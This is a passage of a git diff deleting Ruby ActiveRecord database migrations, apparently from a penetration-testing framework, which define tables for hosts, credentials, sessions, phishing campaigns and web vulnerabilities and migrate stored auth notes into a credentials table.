- def self.down - change_table :workspaces do |t| - t.remove :description - end - - change_table :hosts do |t| - t.remove :comments - end - end - -end - diff --git a/data/sql/migrate/020_add_user_preferences.rb b/data/sql/migrate/020_add_user_preferences.rb deleted file mode 100755 index 40b472701c..0000000000 --- a/data/sql/migrate/020_add_user_preferences.rb +++ /dev/null @@ -1,11 +0,0 @@ -class AddUserPreferences < ActiveRecord::Migration - def self.up - add_column :users, :prefs, :string, :limit => 524288 - end - - def self.down - remove_column :users, :prefs - end - -end - diff --git a/data/sql/migrate/021_standardize_info_and_data.rb b/data/sql/migrate/021_standardize_info_and_data.rb deleted file mode 100755 index bb9a2bccd6..0000000000 --- a/data/sql/migrate/021_standardize_info_and_data.rb +++ /dev/null @@ -1,18 +0,0 @@ -class StandardizeInfoAndData < ActiveRecord::Migration - def self.up - # Remove the host requirement. We'll add the column back in below. - remove_column :vulns, :data - change_table :vulns do |t| - t.string :info, :limit => 65536 - end - end - - def self.down - remove_column :vulns, :info - change_table :notes do |t| - t.string :data, :limit => 65536 - - end - end -end - diff --git a/data/sql/migrate/022_enlarge_event_info.rb b/data/sql/migrate/022_enlarge_event_info.rb deleted file mode 100755 index fec9698c06..0000000000 --- a/data/sql/migrate/022_enlarge_event_info.rb +++ /dev/null @@ -1,10 +0,0 @@ -class EnlargeEventInfo < ActiveRecord::Migration - def self.up - change_column :events, :info, :text - end - - def self.down - change_column :events, :info, :string, :limit => 65535 - end -end - diff --git a/data/sql/migrate/023_add_report_downloaded_at.rb b/data/sql/migrate/023_add_report_downloaded_at.rb deleted file mode 100755 index 7ec5716e82..0000000000 --- a/data/sql/migrate/023_add_report_downloaded_at.rb +++ /dev/null @@ -1,10 +0,0 @@ -class AddReportDownloadedAt < ActiveRecord::Migration - def self.up - add_column :reports, :downloaded_at, :timestamp - end - - def self.down - remove_column :reports, :downloaded_at - end -end - diff --git a/data/sql/migrate/024_convert_service_info_to_text.rb b/data/sql/migrate/024_convert_service_info_to_text.rb deleted file mode 100755 index 14f0a96222..0000000000 --- a/data/sql/migrate/024_convert_service_info_to_text.rb +++ /dev/null @@ -1,12 +0,0 @@ -class ConvertServiceInfoToText < ActiveRecord::Migration - - def self.up - change_column :services, :info, :text - end - - def self.down - change_column :services, :info, :string, :limit => 65536 - end - -end - diff --git a/data/sql/migrate/025_add_user_admin.rb b/data/sql/migrate/025_add_user_admin.rb deleted file mode 100755 index d077dbd633..0000000000 --- a/data/sql/migrate/025_add_user_admin.rb +++ /dev/null @@ -1,19 +0,0 @@ -class AddUserAdmin < ActiveRecord::Migration - - # Add user admin flag and project member list. - def self.up - add_column :users, :admin, :boolean, :default => true - - create_table :project_members, :id => false do |t| - t.integer :workspace_id, :null => false - t.integer :user_id, :null => false - end - end - - def self.down - remove_column :users, :admin - - drop_table :project_members - end -end - diff --git a/data/sql/migrate/026_add_creds_table.rb b/data/sql/migrate/026_add_creds_table.rb deleted file mode 100755 index 381ec8373a..0000000000 --- a/data/sql/migrate/026_add_creds_table.rb +++ /dev/null @@ -1,19 +0,0 @@ -class AddCredsTable < ActiveRecord::Migration - def self.up - create_table :creds do |t| - t.integer :service_id, :null => false - t.timestamps - t.string :user, :limit => 2048 - t.string :pass, :limit => 4096 - t.boolean :active, :default => true - t.string :proof, :limit => 4096 - t.string :ptype, :limit => 16 - t.integer :source_id - t.string :source_type - end - end - def self.down - drop_table :creds - end -end - diff --git a/data/sql/migrate/20100819123300_migrate_cred_data.rb b/data/sql/migrate/20100819123300_migrate_cred_data.rb deleted file mode 100755 index d752c270f4..0000000000 --- a/data/sql/migrate/20100819123300_migrate_cred_data.rb +++ /dev/null @@ -1,154 +0,0 @@ -class MigrateCredData < ActiveRecord::Migration - - def self.up - begin # Wrap the whole thing in a giant rescue. - skipped_notes = [] - new_creds = [] - Mdm::Note.find(:all).each do |note| - next unless note.ntype[/^auth\.(.*)/] - service_name = $1 - if !service_name - skipped_notes << note - next - end - if note.host and note.host.respond_to?(:address) - if note.service - svc_id = note.service.id - else - candidate_services = [] - note.host.services.each do |service| - if service.name == service_name - candidate_services << service - end - end - # Use the default port, or the first port that matches the protocol name. - default_port = case service_name.downcase - when 'ftp'; 21 - when /^smb/; 445 - when /^imap/; 143 - when 'telnet'; 23 - when 'pop3'; 110 - when 'http','domino','axis','wordpress','tomcat'; 80 - when 'tns'; 1521 - when 'snmp'; 161 - when 'mssql'; 1433 - when 'ssh'; 22 - when 'https'; 443 - when 'mysql'; 3306 - when 'db2'; 50000 - when 'postgres'; 5432 - else nil - end - if !default_port - skipped_notes << note - next - end - if candidate_services.size == 1 - svc_id = candidate_services.first.id - elsif candidate_services.empty? - Mdm::Service.new do |svc| - svc.host_id = note.host.id - svc.port = default_port - svc.proto = 'tcp' - svc.state = 'open' - svc.name = service_name.downcase - svc.save! - svc_id = svc.id - end - elsif candidate_services.size > 1 - svc_ports = candidate_services.map{|s| s.port} - if svc_ports.index(default_port) - svc_id = candidate_services[svc_ports.index(default_port)].id - else - svc_id = candidate_services.first.id - end - end - end - else - skipped_notes << note - next - end - if note.data[:hash] - ptype = 'smb_hash' - pass = note.data[:hash] - elsif note.data[:ssh_key] - ptype = 'ssh_key' - pass = note.data[:extra] - else - ptype = 'password' - pass = note.data[:pass] - end - # Format domains and databases into the usernames. - if note.ntype == "auth.smb_challenge" - domain = note.data[:extra].match(/DOMAIN=([^\s]+)/)[1] - if domain - user = [domain, note.data[:user]].join("/") - else - user = note.data[:user] - end - elsif note.ntype =~ /auth\.(postgres|db2)/ - if note.data[:database] - user = [note.data[:database], note.data[:user]].join("/") - else - user = note.data[:user] - end - else - user = note.data[:user] - end - # Not actually a credentials, convert to migrated notes - if service_name == 'smb' && note.data[:token] - skipped_notes << note - next - end - if service_name == 'tns' && note.data[:type] == "bruteforced_sid" - skipped_notes << note - next - end - # Special case for the bizarre reporting for aux/admin/oracle/oracle_login - if service_name == 'tns' && note.data[:type] == "bruteforced_account" - note.data[:data] =~ /([^\x2f]+)\x2f([^\s]+).*with sid (.*)/ - user = "#{$3}/#{$1}" - pass = $2 - end - new_creds << [svc_id, ptype, user, pass] - end - - say "Migrating #{new_creds.size} credentials." - new_creds.uniq.each do |note| - Mdm::Cred.new do |cred| - cred.service_id = note[0] - cred.user = note[2] - cred.pass = note[3] - cred.ptype = note[1] - cred.save! - end - end - - say "Migrating #{skipped_notes.size} notes." - skipped_notes.uniq.each do |note| - Mdm::Note.new do |new_note| - new_note.host_id = note.host_id - new_note.ntype = "migrated_auth" - new_note.data = note.data.merge(:migrated_auth_type => note.ntype) - new_note.save! - end - end - - say "Deleting migrated auth notes." - Mdm::Note.find(:all).each do |note| - next unless note.ntype[/^auth\.(.*)/] - note.delete - end - rescue - say "There was a problem migrating auth credentials. Skipping." - return true # Never fail! - end - end - - - def self.down - raise ActiveRecord::IrreversibleMigration - end - -end - diff --git a/data/sql/migrate/20100824151500_add_exploited_table.rb b/data/sql/migrate/20100824151500_add_exploited_table.rb deleted file mode 100755 index b7897d3832..0000000000 --- a/data/sql/migrate/20100824151500_add_exploited_table.rb +++ /dev/null @@ -1,16 +0,0 @@ -class AddExploitedTable < ActiveRecord::Migration - def self.up - create_table :exploited_hosts do |t| - t.integer :host_id, :null => false - t.integer :service_id - t.string :session_uuid, :limit => 8 - t.string :name, :limit => 2048 - t.string :payload, :limit => 2048 - t.timestamps - end - end - def self.down - drop_table :exploited_hosts - end -end - diff --git a/data/sql/migrate/20100908001428_add_owner_to_workspaces.rb b/data/sql/migrate/20100908001428_add_owner_to_workspaces.rb deleted file mode 100755 index c136d4b9d7..0000000000 --- a/data/sql/migrate/20100908001428_add_owner_to_workspaces.rb +++ /dev/null @@ -1,9 +0,0 @@ -class AddOwnerToWorkspaces < ActiveRecord::Migration - def self.up - add_column :workspaces, :owner_id, :integer - end - - def self.down - remove_column :workspaces, :owner_id - end -end diff --git a/data/sql/migrate/20100911122000_add_report_templates.rb b/data/sql/migrate/20100911122000_add_report_templates.rb deleted file mode 100755 index 08b06d4c5f..0000000000 --- a/data/sql/migrate/20100911122000_add_report_templates.rb +++ /dev/null @@ -1,18 +0,0 @@ -class AddReportTemplates < ActiveRecord::Migration - - def self.up - create_table :report_templates do |t| - t.integer :workspace_id, :null => false, :default => 1 - t.string :created_by - t.string :path, :limit => 1024 - t.text :name - t.timestamps - end - end - - def self.down - drop_table :reports - end - -end - diff --git a/data/sql/migrate/20100916151530_require_admin_flag.rb b/data/sql/migrate/20100916151530_require_admin_flag.rb deleted file mode 100755 index d73e18425d..0000000000 --- a/data/sql/migrate/20100916151530_require_admin_flag.rb +++ /dev/null @@ -1,15 +0,0 @@ -class RequireAdminFlag < ActiveRecord::Migration - - # Make the admin flag required. - def self.up - # update any existing records - Mdm::User.update_all({:admin => true}, {:admin => nil}) - - change_column :users, :admin, :boolean, :null => false, :default => true - end - - def self.down - change_column :users, :admin, :boolean, :default => true - end - -end diff --git a/data/sql/migrate/20100916175000_add_campaigns_and_templates.rb b/data/sql/migrate/20100916175000_add_campaigns_and_templates.rb deleted file mode 100755 index 433bdcf65f..0000000000 --- a/data/sql/migrate/20100916175000_add_campaigns_and_templates.rb +++ /dev/null @@ -1,61 +0,0 @@ - -class AddCampaignsAndTemplates < ActiveRecord::Migration - - def self.up - create_table :campaigns do |t| - t.integer :workspace_id, :null => false - t.string :name, :limit => 512 - # Serialized, stores SMTP/other protocol config options etc. - t.text :prefs - t.integer :status, :default => 0 - t.timestamp :started_at - t.timestamps - end - - create_table :email_templates do |t| - t.string :name, :limit => 512 - t.string :subject, :limit => 1024 - t.text :body - t.integer :parent_id - t.integer :campaign_id - end - create_table :attachments do |t| - t.string :name, :limit => 512 - t.binary :data - t.string :content_type, :limit => 512 - t.boolean :inline, :null => false, :default => true - t.boolean :zip, :null => false, :default => false - end - create_table :attachments_email_templates, :id => false do |t| - t.integer :attachment_id - t.integer :email_template_id - end - - create_table :email_addresses do |t| - t.integer :campaign_id, :null => false - t.string :first_name, :limit => 512 - t.string :last_name, :limit => 512 - t.string :address, :limit => 512 - t.boolean :sent, :null => false, :default => false - t.timestamp :clicked_at - end - - create_table :web_templates do |t| - t.string :name, :limit => 512 - t.string :title, :limit => 512 - t.string :body, :limit => 524288 - t.integer :campaign_id - end - end - - def self.down - drop_table :campaigns - drop_table :email_templates - drop_table :attachments - drop_table :attachments_email_templates - drop_table :email_addresses - drop_table :web_templates - end - -end - diff --git a/data/sql/migrate/20100920012100_add_generate_exe_column.rb b/data/sql/migrate/20100920012100_add_generate_exe_column.rb deleted file mode 100755 index 7b055b268f..0000000000 --- a/data/sql/migrate/20100920012100_add_generate_exe_column.rb +++ /dev/null @@ -1,8 +0,0 @@ -class AddGenerateExeColumn < ActiveRecord::Migration - def self.up - add_column :email_templates, :generate_exe, :boolean, :null => false, :default => false - end - def self.down - remove_column :email_templates, :generate_exe - end -end diff --git a/data/sql/migrate/20100926214000_add_template_prefs.rb b/data/sql/migrate/20100926214000_add_template_prefs.rb deleted file mode 100755 index 70b84d0734..0000000000 --- a/data/sql/migrate/20100926214000_add_template_prefs.rb +++ /dev/null @@ -1,11 +0,0 @@ -class AddTemplatePrefs < ActiveRecord::Migration - def self.up - remove_column :email_templates, :generate_exe - add_column :email_templates, :prefs, :text - add_column :web_templates, :prefs, :text - end - def self.down - remove_column :email_templates, :prefs - remove_column :web_templates, :prefs - end -end diff --git a/data/sql/migrate/20101001000000_add_web_tables.rb b/data/sql/migrate/20101001000000_add_web_tables.rb deleted file mode 100755 index e55bf286b5..0000000000 --- a/data/sql/migrate/20101001000000_add_web_tables.rb +++ /dev/null @@ -1,57 +0,0 @@ -class AddWebTables < ActiveRecord::Migration - - def self.up - create_table :web_sites do |t| - t.integer :service_id, :null => false - t.timestamps - t.string :vhost, :limit => 2048 - t.text :comments - t.text :options - end - - create_table :web_pages do |t| - t.integer :web_site_id, :null => false - t.timestamps - t.text :path - t.text :query - t.integer :code, :null => false - t.text :cookie - t.text :auth - t.text :ctype - t.timestamp :mtime - t.text :location - t.text :body - t.text :headers - end - - create_table :web_forms do |t| - t.integer :web_site_id, :null => false - t.timestamps - t.text :path - t.string :method, :limit => 1024 - t.text :params - end - - create_table :web_vulns do |t| - t.integer :web_site_id, :null => false - t.timestamps - t.text :path - t.string :method, :limit => 1024 - t.text :params - t.text :pname - t.text :proof - t.integer :risk - t.string :name, :limit => 1024 - end - - end - - def self.down - drop_table :web_sites - drop_table :web_pages - drop_table :web_forms - drop_table :web_vulns - end -end - - diff --git a/data/sql/migrate/20101002000000_add_query.rb b/data/sql/migrate/20101002000000_add_query.rb deleted file mode 100755 index f22d0f2954..0000000000 --- a/data/sql/migrate/20101002000000_add_query.rb +++ /dev/null @@ -1,10 +0,0 @@ -class AddQuery < ActiveRecord::Migration - def self.up - add_column :web_forms, :query, :text - add_column :web_vulns, :query, :text - end - def self.down - remove_column :web_forms, :query - remove_column :web_vulns, :query - end -end diff --git a/data/sql/migrate/20101007000000_add_vuln_info.rb b/data/sql/migrate/20101007000000_add_vuln_info.rb deleted file mode 100755 index 34c1eb3fd9..0000000000 --- a/data/sql/migrate/20101007000000_add_vuln_info.rb +++ /dev/null @@ -1,15 +0,0 @@ -class AddVulnInfo < ActiveRecord::Migration - def self.up - add_column :web_vulns, :category, :text - add_column :web_vulns, :confidence, :text - add_column :web_vulns, :description, :text - add_column :web_vulns, :blame, :text - end - def self.down - remove_column :web_forms, :category - remove_column :web_vulns, :confidence - remove_column :web_vulns, :description - remove_column :web_vulns, :blame - end -end - diff --git a/data/sql/migrate/20101008111800_add_clients_to_campaigns.rb b/data/sql/migrate/20101008111800_add_clients_to_campaigns.rb deleted file mode 100755 index 6281f91343..0000000000 --- a/data/sql/migrate/20101008111800_add_clients_to_campaigns.rb +++ /dev/null @@ -1,10 +0,0 @@ - -class AddClientsToCampaigns < ActiveRecord::Migration - def self.up - add_column :clients, :campaign_id, :integer - end - - def self.down - remove_column :clients, :campaign_id - end -end diff --git a/data/sql/migrate/20101009023300_add_campaign_attachments.rb b/data/sql/migrate/20101009023300_add_campaign_attachments.rb deleted file mode 100755 index 6baf770f29..0000000000 --- a/data/sql/migrate/20101009023300_add_campaign_attachments.rb +++ /dev/null @@ -1,15 +0,0 @@ - - -class AddCampaignAttachments < ActiveRecord::Migration - - def self.up - add_column :attachments, :campaign_id, :integer - end - - def self.down - remove_column :attachments, :campaign_id - end - -end - - diff --git a/data/sql/migrate/20101104135100_add_imported_creds.rb b/data/sql/migrate/20101104135100_add_imported_creds.rb deleted file mode 100755 index 92eb12d474..0000000000 --- a/data/sql/migrate/20101104135100_add_imported_creds.rb +++ /dev/null @@ -1,17 +0,0 @@ -class AddImportedCreds < ActiveRecord::Migration - - def self.up - create_table :imported_creds do |t| - t.integer :workspace_id, :null => false, :default => 1 - t.string :user, :limit => 512 - t.string :pass, :limit => 512 - t.string :ptype, :limit => 16, :default => "password" - end - end - - def self.down - drop_table :imported_creds - end - -end - diff --git a/data/sql/migrate/20101203000000_fix_web_tables.rb b/data/sql/migrate/20101203000000_fix_web_tables.rb deleted file mode 100755 index 2056369ed7..0000000000 --- a/data/sql/migrate/20101203000000_fix_web_tables.rb +++ /dev/null @@ -1,34 +0,0 @@ -class FixWebTables < ActiveRecord::Migration - - def self.up - change_column :web_pages, :path, :text - change_column :web_pages, :query, :text - change_column :web_pages, :cookie, :text - change_column :web_pages, :auth, :text - change_column :web_pages, :ctype, :text - change_column :web_pages, :location, :text - change_column :web_pages, :path, :text - change_column :web_vulns, :path, :text - change_column :web_vulns, :pname, :text - - add_column :web_pages, :request, :text - add_column :web_vulns, :request, :text - end - - def self.down - change_column :web_pages, :path, :text - change_column :web_pages, :query, :text - change_column :web_pages, :cookie, :text - change_column :web_pages, :auth, :text - change_column :web_pages, :ctype, :text - change_column :web_pages, :location, :text - change_column :web_pages, :path, :text - change_column :web_vulns, :path, :text - change_column :web_vulns, :pname, :text - - remove_column :web_pages, :request - remove_column :web_vulns, :request - end -end - - diff --git a/data/sql/migrate/20101203000001_expand_host_comment.rb b/data/sql/migrate/20101203000001_expand_host_comment.rb deleted file mode 100755 index 1a0bc1bc51..0000000000 --- a/data/sql/migrate/20101203000001_expand_host_comment.rb +++ /dev/null @@ -1,12 +0,0 @@ -class ExpandHostComment < ActiveRecord::Migration - - def self.up - change_column :hosts, :comments, :text - end - - def self.down - change_column :hosts, :comments, :string, :limit => 4096 - end -end - - diff --git a/data/sql/migrate/20101206212033_add_limit_to_network_to_workspaces.rb b/data/sql/migrate/20101206212033_add_limit_to_network_to_workspaces.rb deleted file mode 100755 index 7365e14f9d..0000000000 --- a/data/sql/migrate/20101206212033_add_limit_to_network_to_workspaces.rb +++ /dev/null @@ -1,9 +0,0 @@ -class AddLimitToNetworkToWorkspaces < ActiveRecord::Migration - def self.up - add_column :workspaces, :limit_to_network, :boolean, :null => false, :default => false - end - - def self.down - remove_column :workspaces, :limit_to_network - end -end diff --git a/data/sql/migrate/20110112154300_add_module_uuid_to_tasks.rb b/data/sql/migrate/20110112154300_add_module_uuid_to_tasks.rb deleted file mode 100755 index f41bc6a813..0000000000 --- a/data/sql/migrate/20110112154300_add_module_uuid_to_tasks.rb +++ /dev/null @@ -1,9 +0,0 @@ -class AddModuleUuidToTasks < ActiveRecord::Migration - def self.up - add_column :tasks, :module_uuid, :string, :limit => 8 - end - - def self.down - remove_column :tasks, :module_uuid - end -end diff --git a/data/sql/migrate/20110204112800_add_host_tags.rb b/data/sql/migrate/20110204112800_add_host_tags.rb deleted file mode 100755 index d07c885c35..0000000000 --- a/data/sql/migrate/20110204112800_add_host_tags.rb +++ /dev/null @@ -1,28 +0,0 @@ -class AddHostTags < ActiveRecord::Migration - - def self.up - - create_table :tags do |t| - t.integer :user_id - t.string :name, :limit => 1024 - t.text :desc - t.boolean :report_summary, :null => false, :default => false - t.boolean :report_detail, :null => false, :default => false - t.boolean :critical, :null => false, :default => false - t.timestamps - end - - create_table :hosts_tags, :id => false do |t| - t.integer :host_id - t.integer :tag_id - end - - end - - def self.down - drop_table :hosts_tags - drop_table :tags - end - -end - diff --git a/data/sql/migrate/20110317144932_add_session_table.rb b/data/sql/migrate/20110317144932_add_session_table.rb deleted file mode 100755 index 15ac8852bb..0000000000 --- a/data/sql/migrate/20110317144932_add_session_table.rb +++ /dev/null @@ -1,110 +0,0 @@ -class AddSessionTable < ActiveRecord::Migration - - class Event < ActiveRecord::Base - serialize :info - end - - class SessionEvent < ActiveRecord::Base - belongs_to :session - end - - class Session < ActiveRecord::Base - has_many :events, :class_name => 'AddSessionTable::SessionEvent' - serialize :datastore - end - - def self.up - - create_table :sessions do |t| - t.integer :host_id - - t.string :stype # session type: meterpreter, shell, etc - t.string :via_exploit # module name - t.string :via_payload # payload name - t.string :desc # session description - t.integer :port - t.string :platform # platform type of the remote system - t.string :routes - - t.text :datastore # module's datastore - - t.timestamp :opened_at, :null => false - t.timestamp :closed_at - - t.string :close_reason - end - - create_table :session_events do |t| - t.integer :session_id - - t.string :etype # event type: command, output, upload, download, filedelete - t.binary :command - t.binary :output - t.string :remote_path - t.string :local_path - - t.timestamp :created_at - end - - # - # Migrate session data from events table - # - - close_events = Event.find_all_by_name("session_close") - open_events = Event.find_all_by_name("session_open") - - command_events = Event.find_all_by_name("session_command") - output_events = Event.find_all_by_name("session_output") - upload_events = Event.find_all_by_name("session_upload") - download_events = Event.find_all_by_name("session_download") - - open_events.each do |o| - c = close_events.find { |e| e.info[:session_uuid] == o.info[:session_uuid] } - - s = Session.new( - :host_id => o.host_id, - :stype => o.info[:session_type], - :via_exploit => o.info[:via_exploit], - :via_payload => o.info[:via_payload], - :datastore => o.info[:datastore], - :opened_at => o.created_at - ) - - if c - s.closed_at = c.created_at - s.desc = c.info[:session_info] - else - # couldn't find the corresponding close event - s.closed_at = s.opened_at - s.desc = "?" - end - - uuid = o.info[:session_uuid] - - command_events.select { |e| e.info[:session_uuid] == uuid }.each do |e| - s.events.build(:created_at => e.created_at, :etype => "command", :command => e.info[:command] ) - end - - output_events.select { |e| e.info[:session_uuid] == uuid }.each do |e| - s.events.build(:created_at => e.created_at, :etype => "output", :output => e.info[:output] ) - end - - upload_events.select { |e| e.info[:session_uuid] == uuid }.each do |e| - s.events.build(:created_at => e.created_at, :etype => "upload", :local_path => e.info[:local_path], :remote_path => e.info[:remote_path] ) - end - - download_events.select { |e| e.info[:session_uuid] == uuid }.each do |e| - s.events.build(:created_at => e.created_at, :etype => "download", :local_path => e.info[:local_path], :remote_path => e.info[:remote_path] ) - end - - s.events.sort_by(&:created_at) - - s.save! - end - end - - def self.down - drop_table :sessions - drop_table :session_events - end -end diff --git a/data/sql/migrate/20110414180600_add_local_id_to_session_table.rb b/data/sql/migrate/20110414180600_add_local_id_to_session_table.rb deleted file mode 100755 index 7c0e57c505..0000000000 --- a/data/sql/migrate/20110414180600_add_local_id_to_session_table.rb +++ /dev/null @@ -1,11 +0,0 @@ -class AddLocalIdToSessionTable < ActiveRecord::Migration - - def self.up - add_column :sessions, :local_id, :integer - end - - def self.down - remove_column :sessions, :local_id - end - -end diff --git a/data/sql/migrate/20110415175705_add_routes_table.rb b/data/sql/migrate/20110415175705_add_routes_table.rb deleted file mode 100755 index 1eb104f9bf..0000000000 --- a/data/sql/migrate/20110415175705_add_routes_table.rb +++ /dev/null @@ -1,18 +0,0 @@ -class AddRoutesTable < ActiveRecord::Migration - - def self.up - create_table :routes do |t| - t.integer :session_id - t.string :subnet - t.string :netmask - end - - remove_column :sessions, :routes - end - - def self.down - drop_table :routes - - add_column :sessions, :routes, :string - end -end diff --git a/data/sql/migrate/20110422000000_convert_binary.rb b/data/sql/migrate/20110422000000_convert_binary.rb deleted file mode 100755 index 4fa3428ad1..0000000000 --- a/data/sql/migrate/20110422000000_convert_binary.rb +++ /dev/null @@ -1,72 +0,0 @@ -class ConvertBinary < ActiveRecord::Migration - - - class WebPage < ActiveRecord::Base - serialize :headers - end - - class WebVuln < ActiveRecord::Base - serialize :params - end - - def bfilter(str) - str = str.to_s - str.encoding = 'binary' if str.respond_to?('encoding=') - str.gsub(/[\x00\x7f-\xff]/, '') - end - - def self.up - rename_column :web_pages, :body, :body_text - rename_column :web_pages, :request, :request_text - rename_column :web_vulns, :request, :request_text - rename_column :web_vulns, :proof, :proof_text - - add_column :web_pages, :body, :binary - add_column :web_pages, :request, :binary - add_column :web_vulns, :request, :binary - add_column :web_vulns, :proof, :binary - - WebPage.find(:all).each { |r| r.body = r.body_text; r.save! } - WebPage.find(:all).each { |r| r.request = r.request_text; r.save! } - WebVuln.find(:all).each { |r| r.proof = r.proof_text; r.save! } - WebVuln.find(:all).each { |r| r.request = r.request_text; r.save! } - - remove_column :web_pages, :body_text - remove_column :web_pages, :request_text - remove_column :web_vulns, :request_text - remove_column :web_vulns, :proof_text - - WebPage.connection.schema_cache.clear! - WebPage.reset_column_information - WebVuln.connection.schema_cache.clear! - WebVuln.reset_column_information - end - - def self.down - - rename_column :web_pages, :body, :body_binary - rename_column :web_pages, :request, :request_binary - rename_column :web_vulns, :request, :request_binary - rename_column :web_vulns, :proof, :proof_binary - - add_column :web_pages, :body, :text - add_column :web_pages, :request, :text - add_column :web_vulns, :request, :text - add_column :web_vulns, :proof, :text - - WebPage.find(:all).each { |r| r.body = bfilter(r.body_binary); r.save! } - WebPage.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! } - WebVuln.find(:all).each { |r| r.proof = bfilter(r.proof_binary); r.save! } - WebVuln.find(:all).each { |r| r.request = bfilter(r.request_binary); r.save! } - - remove_column :web_pages, :body_binary - remove_column :web_pages, :request_binary - remove_column :web_vulns, :request_binary - remove_column :web_vulns, :proof_binary - - WebPage.connection.schema_cache.clear! - WebPage.reset_column_information - WebVuln.connection.schema_cache.clear! - WebVuln.reset_column_information - end -end diff --git a/data/sql/migrate/20110425095900_add_last_seen_to_sessions.rb b/data/sql/migrate/20110425095900_add_last_seen_to_sessions.rb deleted file mode 100755 index 48380af6ae..0000000000 --- a/data/sql/migrate/20110425095900_add_last_seen_to_sessions.rb +++ /dev/null @@ -1,8 +0,0 @@ -class AddLastSeenToSessions < ActiveRecord::Migration - def self.up - add_column :sessions, :last_seen, :timestamp - end - def self.down - remove_column :sessions, :last_seen - end -end diff --git a/data/sql/migrate/20110513143900_track_successful_exploits.rb b/data/sql/migrate/20110513143900_track_successful_exploits.rb deleted file mode 100755 index 7c55105fe8..0000000000 --- a/data/sql/migrate/20110513143900_track_successful_exploits.rb +++ /dev/null @@ -1,31 +0,0 @@ -class TrackSuccessfulExploits < ActiveRecord::Migration - - - class ExploitedHost < ActiveRecord::Base - end - - class Vuln < ActiveRecord::Base - end - - def self.up - add_column :vulns, :exploited_at, :timestamp - - # Migrate existing exploited_hosts entries - - ExploitedHost.find(:all).select {|x| x.name}.each do |exploited_host| - next unless(exploited_host.name =~ /^(exploit|auxiliary)\//) - vulns = Vuln.find_all_by_name_and_host_id(exploited_host.name, exploited_host.host_id) - next if vulns.empty? - vulns.each do |vuln| - vuln.exploited_at = exploited_host.updated_at - vuln.save - end - end - - end - - def self.down - remove_column :vulns, :exploited_at - end - -end diff --git a/data/sql/migrate/20110517160800_rename_and_prune_nessus_vulns.rb b/data/sql/migrate/20110517160800_rename_and_prune_nessus_vulns.rb deleted file mode 100755 index e1b8955b7f..0000000000 --- a/data/sql/migrate/20110517160800_rename_and_prune_nessus_vulns.rb +++ /dev/null @@ -1,26 +0,0 @@ -class RenameAndPruneNessusVulns < ActiveRecord::Migration - - class Vuln < ActiveRecord::Base - end - - # No table changes, just vuln renaming to drop the NSS id - # from those vulns that have it and a descriptive name. - def self.up - Vuln.find(:all).each do |v| - if v.name =~ /^NSS-0?\s*$/ - v.delete - next - end - next unless(v.name =~ /^NSS-[0-9]+\s(.+)/) - new_name = $1 - next if(new_name.nil? || new_name.strip.empty?) - v.name = new_name - v.save! - end - end - - def self.down - say "Cannot un-rename and un-prune NSS vulns for migration 20110517160800." - end - -end diff --git a/data/sql/migrate/20110527000000_add_task_id_to_reports_table.rb b/data/sql/migrate/20110527000000_add_task_id_to_reports_table.rb deleted file mode 100755 index 5af2d46704..0000000000 --- a/data/sql/migrate/20110527000000_add_task_id_to_reports_table.rb +++ /dev/null @@ -1,11 +0,0 @@ -class AddTaskIdToReportsTable < ActiveRecord::Migration - - def self.up - add_column :reports, :task_id, :integer - end - - def self.down - remove_column :reports, :task_id - end - -end diff --git a/data/sql/migrate/20110527000001_add_api_keys_table.rb b/data/sql/migrate/20110527000001_add_api_keys_table.rb deleted file mode 100755 index 13e6ecedd0..0000000000 --- a/data/sql/migrate/20110527000001_add_api_keys_table.rb +++ /dev/null @@ -1,12 +0,0 @@ -class AddApiKeysTable < ActiveRecord::Migration - def self.up - create_table :api_keys do |t| - t.text :token - t.timestamps - end - end - def self.down - drop_table :api_keys - end -end - diff --git a/data/sql/migrate/20110606000001_add_macros_table.rb b/data/sql/migrate/20110606000001_add_macros_table.rb deleted file mode 100755 index bfb8ef6085..0000000000 --- a/data/sql/migrate/20110606000001_add_macros_table.rb +++ /dev/null @@ -1,16 +0,0 @@ -class AddMacrosTable < ActiveRecord::Migration - def self.up - create_table :macros do |t| - t.timestamps - t.text :owner - t.text :name - t.text :description - t.binary :actions - t.binary :prefs - end - end - def self.down - drop_table :macros - end -end - diff --git a/data/sql/migrate/20110610085000_move_old_imported_creds_to_new_files.rb b/data/sql/migrate/20110610085000_move_old_imported_creds_to_new_files.rb deleted file mode 100755 index e057c2ca20..0000000000 --- a/data/sql/migrate/20110610085000_move_old_imported_creds_to_new_files.rb +++ /dev/null @@ -1,127 +0,0 @@ -class MoveOldImportedCredsToNewFiles < ActiveRecord::Migration - - class ImportedCred < ActiveRecord::Base - end - - class CredFile < ActiveRecord::Base - end - - class Workspace < ActiveRecord::Base - end - - class << self - - def find_or_create_cred_path - cred_files_dir = nil - msf_base = Msf::Config.install_root - pro_base = File.expand_path(File.join(msf_base, "..", "engine", "lib", "pro")) - if File.directory? pro_base - cred_files_dir = File.expand_path(File.join(msf_base, "..", "cred_files")) - FileUtils.mkdir_p(cred_files_dir) unless File.exists?(cred_files_dir) - if File.directory?(cred_files_dir) and File.writable?(cred_files_dir) - end - end - return cred_files_dir - end - - def find_all_imported_creds_by_workspace - valid_ptypes = ["smb_hash", "userpass", "password"] - valid_workspaces = Workspace.all.map {|w| w.id} - creds = {} - ImportedCred.all.each do |cred| - next unless cred.ptype - next unless valid_ptypes.include? cred.ptype - next unless cred.workspace_id - next unless valid_workspaces.include? cred.workspace_id - creds[cred.workspace_id] ||= [] - creds[cred.workspace_id] << cred - end - return creds - end - - def sort_creds_into_file_types(old_creds) - files = {} - old_creds.each do |wid,creds| - filedata = {} - creds.each do |cred| - filedata[cred.ptype] ||= [] - case cred.ptype - when "smb_hash", "userpass" - filedata[cred.ptype] << ("%s %s" % [cred.user,cred.pass]) - when "password" - filedata[cred.ptype] << cred.pass.to_s - end - files[wid] = filedata - end - end - return files - end - - def write_creds_to_files(old_creds,cred_path) - file_data_to_write = sort_creds_into_file_types(old_creds) - files_written = [] - file_data_to_write.each do |wid, fdata_hash| - fdata_hash.each do |ftype,cred_data| - next unless cred_data - next if cred_data.empty? - fname = File.join(cred_path,"creds_#{wid}_#{ftype}-#{Time.now.utc.to_i}.txt") - fdata = cred_data.join("\n") - fh = File.open(fname, "wb") - begin - fh.write fdata - fh.flush - ensure - fh.close - end - files_written << fname - end - end - return files_written - end - - def register_new_files(new_files) - successful_count = 0 - new_files.each do |fname| - next unless File.split(fname).last =~ /^creds_([0-9]+)_(userpass|password|smb_hash)\-[0-9]+\.txt$/ - wid = $1 - next unless Workspace.find(wid) - ftype = $2 - actual_ftype = case ftype - when 